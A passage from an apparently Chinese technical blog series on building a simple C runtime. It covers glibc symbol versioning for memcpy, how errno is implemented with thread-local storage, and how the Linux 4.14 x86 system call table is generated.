&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;test.c
#include &amp;quot;test1.h&amp;quot;
#include &amp;quot;test2.h&amp;quot;

int main()
{
    foo1();
    foo2();
    return 0;
}

&amp;#x2F;&amp;#x2F;test1.c
#include &amp;quot;stdlib.h&amp;quot;
#include &amp;quot;string.h&amp;quot;

__asm__(&amp;quot;.symver memcpy, memcpy@GLIBC_2.2.5&amp;quot;);
void foo1()
{
    char *str = &amp;quot;hello world!&amp;quot;;
    char *t = (char *)malloc(5);
    memcpy(t, str, 5);
    free(t);
}

&amp;#x2F;&amp;#x2F;test2.c
#include &amp;quot;stdlib.h&amp;quot;
#include &amp;quot;string.h&amp;quot;
void foo2()
{
    char *str = &amp;quot;hello world!&amp;quot;;
    char *t = (char *)malloc(5);
    memcpy(t, str, 5);
    free(t);
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译：&lt;code&gt;$ gcc test.c test1.c test2.c -o test&lt;&#x2F;code&gt;
查看memcpy依赖的版本：&lt;code&gt;$ objdump -T test&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31981449-f0d7cc9c-b985-11e7-8bb6-bcc78706486b-20240423235844-g7dio20-ce2606.png&quot; alt=&quot;97738a68-cfe1-467a-967f-eb434f4ab2b6&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从截图可以看到同时用到了2.2.5和2.14版本的memcpy，说明确实只对一个文件起效。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;更通用的实现：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;编写一个单独的memcpy.c文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;

void *__memcpy_old(void *, const void *, size_t);

asm(&amp;quot;.symver __memcpy_old, memcpy@GLIBC_2.2.5&amp;quot;);
void *__wrap_memcpy(void *dest, const void *src, size_t n)
{
    return __memcpy_old(dest, src, n);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将test1.c中的&lt;code&gt;__asm__(&quot;.symver memcpy, memcpy@GLIBC_2.2.5&quot;);&lt;&#x2F;code&gt;去掉&lt;&#x2F;p&gt;
&lt;p&gt;编译：&lt;code&gt;$ gcc test.c test1.c test2.c memcpy.c -Wl,--wrap=memcpy -o test&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;gcc编译时使用 -Wl,--wrap=memcpy选项，使得链接器将memcpy解析为__wrap_memcpy。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;查看：&lt;code&gt;$ objdump -T test&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31981461-0254a3e6-b986-11e7-99f2-d4d92255cc15-20240423235845-ygj3owo-cd4626.png&quot; alt=&quot;b0e78d2e-a539-4645-add0-54e1b4e03369&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到memcpy现在只依赖2.2.5版本的实现&lt;&#x2F;p&gt;
&lt;p&gt;参考：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;b.liuctic.com&#x2F;2013&#x2F;11&#x2F;glibc_2-14-%E5%85%BC%E5%AE%B9%E9%97%AE%E9%A2%98-lib64libc-so-6-version-glibc_2-14-not-found&#x2F;&quot;&gt;http:&#x2F;&#x2F;b.liuctic.com&#x2F;2013&#x2F;11&#x2F;glibc_2-14-%E5%85%BC%E5%AE%B9%E9%97%AE%E9%A2%98-lib64libc-so-6-version-glibc_2-14-not-found&#x2F;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.blahgeek.com&#x2F;glibc-and-symbol-versioning&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.blahgeek.com&#x2F;glibc-and-symbol-versioning&#x2F;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.csdn.net&#x2F;force_eagle&#x2F;article&#x2F;details&#x2F;8684669&quot;&gt;http:&#x2F;&#x2F;blog.csdn.net&#x2F;force_eagle&#x2F;article&#x2F;details&#x2F;8684669&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue-5-shen-ru-li-jie-errno&quot;&gt;Issue 5 深入理解errno&lt;&#x2F;h2&gt;
&lt;p&gt;我们知道当执行系统调用或库函数调用出现错误时，errno的值将被根据错误类型被置为相应的值(非0)，且errno是线程安全的，现在我们来探究errno的本质。&lt;&#x2F;p&gt;
&lt;p&gt;首先，写个demo&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;errno.h&amp;quot;
int main()
{
    errno = 1;
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对文件进行预处理
&lt;code&gt;$ gcc -E test2.c -o test2.i&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;预编译后的文件内容&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 1 &amp;quot;test2.c&amp;quot;
## 1 &amp;quot;&amp;lt;built-in&amp;gt;&amp;quot;
## 1 &amp;quot;&amp;lt;command-line&amp;gt;&amp;quot;
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;stdc-predef.h&amp;quot; 1 3 4
## 1 &amp;quot;&amp;lt;command-line&amp;gt;&amp;quot; 2
## 1 &amp;quot;test2.c&amp;quot;
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;errno.h&amp;quot; 1 3 4
## 28 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;errno.h&amp;quot; 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;features.h&amp;quot; 1 3 4
## 367 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;features.h&amp;quot; 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;sys&amp;#x2F;cdefs.h&amp;quot; 1 3 4
## 410 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;sys&amp;#x2F;cdefs.h&amp;quot; 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;bits&amp;#x2F;wordsize.h&amp;quot; 1 3 4
## 411 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;sys&amp;#x2F;cdefs.h&amp;quot; 2 3 4
## 368 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;features.h&amp;quot; 2 3 4
## 391 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;features.h&amp;quot; 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;gnu&amp;#x2F;stubs.h&amp;quot; 1 3 4
## 10 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;gnu&amp;#x2F;stubs.h&amp;quot; 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;gnu&amp;#x2F;stubs-64.h&amp;quot; 1 3 4
## 11 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;gnu&amp;#x2F;stubs.h&amp;quot; 2 3 4
## 392 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;features.h&amp;quot; 2 3 4
## 29 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;errno.h&amp;quot; 2 3 4

## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;bits&amp;#x2F;errno.h&amp;quot; 1 3 4
## 24 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;bits&amp;#x2F;errno.h&amp;quot; 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;linux&amp;#x2F;errno.h&amp;quot; 1 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;asm&amp;#x2F;errno.h&amp;quot; 1 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;asm-generic&amp;#x2F;errno.h&amp;quot; 1 3 4

## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;asm-generic&amp;#x2F;errno-base.h&amp;quot; 1 3 4
## 5 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;asm-generic&amp;#x2F;errno.h&amp;quot; 2 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;asm&amp;#x2F;errno.h&amp;quot; 2 3 4
## 1 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;linux&amp;#x2F;errno.h&amp;quot; 2 3 4
## 25 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;bits&amp;#x2F;errno.h&amp;quot; 2 3 4
## 50 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;bits&amp;#x2F;errno.h&amp;quot; 3 4

## 50 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;x86_64-linux-gnu&amp;#x2F;bits&amp;#x2F;errno.h&amp;quot; 3 4
extern int *__errno_location (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
## 36 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;errno.h&amp;quot; 2 3 4
## 58 &amp;quot;&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;errno.h&amp;quot; 3 4

## 2 &amp;quot;test2.c&amp;quot; 2

## 2 &amp;quot;test2.c&amp;quot;
int main()
{

## 4 &amp;quot;test2.c&amp;quot; 3 4
(*__errno_location ())
## 4 &amp;quot;test2.c&amp;quot;
      = 1;
return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到errno经过预处理变成了&lt;code&gt;*__errno_location()&lt;&#x2F;code&gt;，表示对__errno_location()函数返回值取地址内容。&lt;&#x2F;p&gt;
&lt;p&gt;那么__errno_location()函数内部是怎么实现的呢？
首先我们需要找到__errno_location函数在哪里定义&lt;&#x2F;p&gt;
&lt;p&gt;这里有个小技巧，利用gdb调试查看进入哪个文件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) s
__GI___errno_location () at errno-loc.c:26
26    errno-loc.c: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到__errno_location定义在errno-loc.c文件，且本机没有该文件，这里我们可以到github上查看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lattera&#x2F;glibc&#x2F;blob&#x2F;master&#x2F;csu&#x2F;errno-loc.c&quot;&gt;glibc源码&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到errno-loc.c文件内容如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;tls.h&amp;gt;

int *
__errno_location (void)
{
  return &amp;amp;errno;
}
libc_hidden_def (__errno_location)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;__errno_location&lt;&#x2F;code&gt;函数返回errno变量的地址，那么此处的errno又是什么，查看该文件包含的头文件&amp;lt;errno.h&amp;gt;(在glibc&#x2F;include目录下)&lt;&#x2F;p&gt;
&lt;p&gt;可以看到如下一行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;extern __thread int errno attribute_tls_model_ie;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;定义了一个整型变量errno&lt;&#x2F;p&gt;
&lt;p&gt;所以&lt;code&gt;__errno_location&lt;&#x2F;code&gt;最终就是返回了一个整型变量的地址&lt;&#x2F;p&gt;
&lt;p&gt;值得注意的是该变量使用了&lt;code&gt;__thread&lt;&#x2F;code&gt;关键字&lt;&#x2F;p&gt;
&lt;p&gt;查阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Thread-local_storage&quot;&gt;维基百科&lt;&#x2F;a&gt;，看到C已经在与语言层面实现了thread local storage (TLS)，其中GNU C使用的就是__thread关键字&lt;&#x2F;p&gt;
&lt;p&gt;*Tip:*除了语言层面支持，pthreads的API也支持使用线程本地存储，详见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Thread-local_storage&quot;&gt;维基百科&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;参考：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.csdn.net&#x2F;js072110&#x2F;article&#x2F;details&#x2F;44855565&quot;&gt;http:&#x2F;&#x2F;blog.csdn.net&#x2F;js072110&#x2F;article&#x2F;details&#x2F;44855565&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Thread-local_storage&quot;&gt;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Thread-local_storage&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue-6-shen-ru-li-jie-xi-tong-diao-yong&quot;&gt;Issue 6 深入理解系统调用&lt;&#x2F;h2&gt;
&lt;p&gt;网上大多数文章都是基于linux2.x版本的i386架构代码进行分析，而目前linux已经更新到4.x了，所以该文章基于linux4.14.3 stable version源码进行分析，源码&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;&quot;&gt;下载地址&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里我关注的是X86架构，其他处理器架构的代码原理大同小异&lt;&#x2F;p&gt;
&lt;p&gt;从系统调用表开始进行分析，系统调用表在&lt;code&gt;&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscall_32.tbl&lt;&#x2F;code&gt;文件&lt;&#x2F;p&gt;
&lt;p&gt;截取该文件部分内容如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 32-bit system call numbers and entry vectors
## ## The format is:
## &amp;lt;number&amp;gt; &amp;lt;abi&amp;gt; &amp;lt;name&amp;gt; &amp;lt;entry point&amp;gt; &amp;lt;compat entry point&amp;gt;
## ## The abi is always &amp;quot;i386&amp;quot; for this file.
## 0    i386    restart_syscall        sys_restart_syscall
1    i386    exit            sys_exit
2    i386    fork            sys_fork            sys_fork
3    i386    read            sys_read
4    i386    write            sys_write
5    i386    open            sys_open            compat_sys_open
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该表定义了系统调用号，系统调用名称和入口名称&lt;&#x2F;p&gt;
&lt;p&gt;那么该表什么时候用到了，在&lt;code&gt;&#x2F;arch&#x2F;x86&lt;&#x2F;code&gt;目录下中搜索&lt;code&gt;syscall_32.tbl&lt;&#x2F;code&gt;，发现在&lt;code&gt;&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;Makefile&lt;&#x2F;code&gt;中使用到该文件&lt;&#x2F;p&gt;
&lt;p&gt;文件内容如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## SPDX-License-Identifier: GPL-2.0
out := $(obj)&amp;#x2F;..&amp;#x2F;..&amp;#x2F;include&amp;#x2F;generated&amp;#x2F;asm
uapi := $(obj)&amp;#x2F;..&amp;#x2F;..&amp;#x2F;include&amp;#x2F;generated&amp;#x2F;uapi&amp;#x2F;asm

## Create output directory if not already present
_dummy := $(shell [ -d &amp;#x27;$(out)&amp;#x27; ] || mkdir -p &amp;#x27;$(out)&amp;#x27;) \
      $(shell [ -d &amp;#x27;$(uapi)&amp;#x27; ] || mkdir -p &amp;#x27;$(uapi)&amp;#x27;)

syscall32 := $(srctree)&amp;#x2F;$(src)&amp;#x2F;syscall_32.tbl
syscall64 := $(srctree)&amp;#x2F;$(src)&amp;#x2F;syscall_64.tbl

syshdr := $(srctree)&amp;#x2F;$(src)&amp;#x2F;syscallhdr.sh
systbl := $(srctree)&amp;#x2F;$(src)&amp;#x2F;syscalltbl.sh

quiet_cmd_syshdr = SYSHDR  $@
      cmd_syshdr = $(CONFIG_SHELL) &amp;#x27;$(syshdr)&amp;#x27; &amp;#x27;$&amp;lt;&amp;#x27; &amp;#x27;$@&amp;#x27; \
          &amp;#x27;$(syshdr_abi_$(basetarget))&amp;#x27; \
          &amp;#x27;$(syshdr_pfx_$(basetarget))&amp;#x27; \
          &amp;#x27;$(syshdr_offset_$(basetarget))&amp;#x27;
quiet_cmd_systbl = SYSTBL  $@
      cmd_systbl = $(CONFIG_SHELL) &amp;#x27;$(systbl)&amp;#x27; $&amp;lt; $@

quiet_cmd_hypercalls = HYPERCALLS $@
      cmd_hypercalls = $(CONFIG_SHELL) &amp;#x27;$&amp;lt;&amp;#x27; $@ $(filter-out $&amp;lt;,$^)

syshdr_abi_unistd_32 := i386
$(uapi)&amp;#x2F;unistd_32.h: $(syscall32) $(syshdr)
    $(call if_changed,syshdr)

syshdr_abi_unistd_32_ia32 := i386
syshdr_pfx_unistd_32_ia32 := ia32_
$(out)&amp;#x2F;unistd_32_ia32.h: $(syscall32) $(syshdr)
    $(call if_changed,syshdr)

syshdr_abi_unistd_x32 := common,x32
syshdr_offset_unistd_x32 := __X32_SYSCALL_BIT
$(uapi)&amp;#x2F;unistd_x32.h: $(syscall64) $(syshdr)
    $(call if_changed,syshdr)

syshdr_abi_unistd_64 := common,64
$(uapi)&amp;#x2F;unistd_64.h: $(syscall64) $(syshdr)
    $(call if_changed,syshdr)

syshdr_abi_unistd_64_x32 := x32
syshdr_pfx_unistd_64_x32 := x32_
$(out)&amp;#x2F;unistd_64_x32.h: $(syscall64) $(syshdr)
    $(call if_changed,syshdr)

$(out)&amp;#x2F;syscalls_32.h: $(syscall32) $(systbl)
    $(call if_changed,systbl)
$(out)&amp;#x2F;syscalls_64.h: $(syscall64) $(systbl)
    $(call if_changed,systbl)

$(out)&amp;#x2F;xen-hypercalls.h: $(srctree)&amp;#x2F;scripts&amp;#x2F;xen-hypercalls.sh
    $(call if_changed,hypercalls)

$(out)&amp;#x2F;xen-hypercalls.h: $(srctree)&amp;#x2F;include&amp;#x2F;xen&amp;#x2F;interface&amp;#x2F;xen*.h

uapisyshdr-y            += unistd_32.h unistd_64.h unistd_x32.h
syshdr-y            += syscalls_32.h
syshdr-$(CONFIG_X86_64)        += unistd_32_ia32.h unistd_64_x32.h
syshdr-$(CONFIG_X86_64)        += syscalls_64.h
syshdr-$(CONFIG_XEN)        += xen-hypercalls.h

targets    += $(uapisyshdr-y) $(syshdr-y)

PHONY += all
all: $(addprefix $(uapi)&amp;#x2F;,$(uapisyshdr-y))
all: $(addprefix $(out)&amp;#x2F;,$(syshdr-y))
    @:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根据Makefile内容可以看出make会根据&lt;code&gt;syscall_32.tbl&lt;&#x2F;code&gt;文件生成相应的头文件syscalls_32.h等&lt;&#x2F;p&gt;
&lt;p&gt;那么具体会生成哪些文件呢？生成的文件内容又是什么呢？&lt;&#x2F;p&gt;
&lt;p&gt;动手来试一下，我在自己的虚拟机下(Ubuntu17.10 64bit)编译这份源码&lt;&#x2F;p&gt;
&lt;p&gt;在源码根目录下Make，结果如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  HOSTCC  scripts&amp;#x2F;basic&amp;#x2F;fixdep
  HOSTCC  scripts&amp;#x2F;kconfig&amp;#x2F;conf.o
  SHIPPED scripts&amp;#x2F;kconfig&amp;#x2F;zconf.tab.c
  SHIPPED scripts&amp;#x2F;kconfig&amp;#x2F;zconf.lex.c
  HOSTCC  scripts&amp;#x2F;kconfig&amp;#x2F;zconf.tab.o
  HOSTLD  scripts&amp;#x2F;kconfig&amp;#x2F;conf
scripts&amp;#x2F;kconfig&amp;#x2F;conf  --silentoldconfig Kconfig
***
*** Configuration file &amp;quot;.config&amp;quot; not found!
***
*** Please run some configurator (e.g. &amp;quot;make oldconfig&amp;quot; or
*** &amp;quot;make menuconfig&amp;quot; or &amp;quot;make xconfig&amp;quot;).
***
scripts&amp;#x2F;kconfig&amp;#x2F;Makefile:38: recipe for target &amp;#x27;silentoldconfig&amp;#x27; failed
make[2]: *** [silentoldconfig] Error 1
Makefile:548: recipe for target &amp;#x27;silentoldconfig&amp;#x27; failed
make[1]: *** [silentoldconfig] Error 2
  SYSTBL  arch&amp;#x2F;x86&amp;#x2F;entry&amp;#x2F;syscalls&amp;#x2F;..&amp;#x2F;..&amp;#x2F;include&amp;#x2F;generated&amp;#x2F;asm&amp;#x2F;syscalls_32.h
  SYSHDR  arch&amp;#x2F;x86&amp;#x2F;entry&amp;#x2F;syscalls&amp;#x2F;..&amp;#x2F;..&amp;#x2F;include&amp;#x2F;generated&amp;#x2F;uapi&amp;#x2F;asm&amp;#x2F;unistd_32.h
  SYSHDR  arch&amp;#x2F;x86&amp;#x2F;entry&amp;#x2F;syscalls&amp;#x2F;..&amp;#x2F;..&amp;#x2F;include&amp;#x2F;generated&amp;#x2F;uapi&amp;#x2F;asm&amp;#x2F;unistd_64.h
  SYSHDR  arch&amp;#x2F;x86&amp;#x2F;entry&amp;#x2F;syscalls&amp;#x2F;..&amp;#x2F;..&amp;#x2F;include&amp;#x2F;generated&amp;#x2F;uapi&amp;#x2F;asm&amp;#x2F;unistd_x32.h
  HOSTCC  arch&amp;#x2F;x86&amp;#x2F;tools&amp;#x2F;relocs_32.o
  HOSTCC  arch&amp;#x2F;x86&amp;#x2F;tools&amp;#x2F;relocs_64.o
  HOSTCC  arch&amp;#x2F;x86&amp;#x2F;tools&amp;#x2F;relocs_common.o
  HOSTLD  arch&amp;#x2F;x86&amp;#x2F;tools&amp;#x2F;relocs
make: *** No rule to make target &amp;#x27;include&amp;#x2F;config&amp;#x2F;auto.conf&amp;#x27;, needed by &amp;#x27;include&amp;#x2F;config&amp;#x2F;kernel.release&amp;#x27;.  Stop.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里报错的原因编译内核源码需要先配置选项，但这不是我们关注的重点，可以看到虽然报错中断了，但是相应的头文件已经生成了，目的已经达到了&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实这里可能由于没有编译成功少生成了某些文件，因为我在虚拟机&#x2F;usr&#x2F;src&#x2F;linux-headers-4.13.0-16-generic&#x2F;这个路径下发现还多了syscalls_64.h，unistd_64_x32.h等文件，linux-headers-4.13.0-16-generic是系统本身自带的，但其实不影响接下来的分析，因为syscalls_64.h和syscalls_32.h差别只在于命名时候将64改为I386&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;最终生成了以下几个文件&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;include&#x2F;generated&#x2F;asm&#x2F;syscalls_32.h&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;include&#x2F;generated&#x2F;uapi&#x2F;asm&#x2F;unistd_32.h&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;include&#x2F;generated&#x2F;uapi&#x2F;asm&#x2F;unistd_64.h&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;include&#x2F;generated&#x2F;uapi&#x2F;asm&#x2F;unistd_x32.h&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;unistd_64.h部分内容如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;unistd_32.h部分内容如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;syscalls_32.h部分内容如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;__SYSCALL_I386(0, sys_restart_syscall, )
__SYSCALL_I386(1, sys_exit, )
#ifdef CONFIG_X86_32
__SYSCALL_I386(2, sys_fork, )
#else
__SYSCALL_I386(2, sys_fork, )
#endif
__SYSCALL_I386(3, sys_read, )
__SYSCALL_I386(4, sys_write, )
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;unistd_64.h和unistd_32.h文件定义了&lt;strong&gt;系统调用号&lt;&#x2F;strong&gt;，用来关联相应的系统调用，而且从unistd_64.h和unistd_32.h文件可以看出64bit和32bit系统的相同系统调用号对应的系统调用却是不同的&lt;&#x2F;p&gt;
&lt;p&gt;这里syscalls_32.h文件的内容看起来像是一些宏，具体表示什么呢？&lt;&#x2F;p&gt;
&lt;p&gt;在x86目录下全局搜索&lt;code&gt;__SYSCALL_I386&lt;&#x2F;code&gt;，发现被以下文件引用&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscall_32.c&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;um&#x2F;sys_call_table_32.c&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;kernel&#x2F;asm-offsets_32.c&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;kernel&#x2F;asm-offsets_64.c&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;arch&#x2F;x86&#x2F;um&#x2F;user-offsets.c&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;个人感觉&lt;code&gt;user-offsets.c&lt;&#x2F;code&gt;和&lt;code&gt;asm-offsets_64.c&lt;&#x2F;code&gt;可能不是那么重要，不影响分析，先记下，有空再研究&lt;&#x2F;p&gt;
&lt;p&gt;而&lt;code&gt;syscall_32.c&lt;&#x2F;code&gt;和&lt;code&gt;sys_call_table_32.c&lt;&#x2F;code&gt;文件内容是类似的&lt;&#x2F;p&gt;
&lt;p&gt;且sys_call_table_32.c文件开头的注释引起了我的注意&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;*
* System call table for UML&amp;#x2F;i386, copied from arch&amp;#x2F;x86&amp;#x2F;kernel&amp;#x2F;syscall_*.c
* with some changes for UML.
*&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;大概意思就是该文件内容是从&lt;code&gt;syscall_32.c&lt;&#x2F;code&gt;复制过来并专门为UML&#x2F;i386做了一些修改&lt;&#x2F;p&gt;
&lt;p&gt;那么UML是什么意思，经查资料，UML全称&lt;code&gt;用户态Linux(User-mode Linux)&lt;&#x2F;code&gt;，将Linux编译为user mode使得该内核可以跑在另外一个操作系统上，详见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;User-mode_Linux&quot;&gt;维基&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;既然是针对UM的，那我们分析syscall_32.c即可&lt;&#x2F;p&gt;
&lt;p&gt;syscall_32.c内容&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; SPDX-License-Identifier: GPL-2.0
&amp;#x2F;* System call table for i386. *&amp;#x2F;

#include &amp;lt;linux&amp;#x2F;linkage.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;sys.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;cache.h&amp;gt;
#include &amp;lt;asm&amp;#x2F;asm-offsets.h&amp;gt;
#include &amp;lt;asm&amp;#x2F;syscall.h&amp;gt;

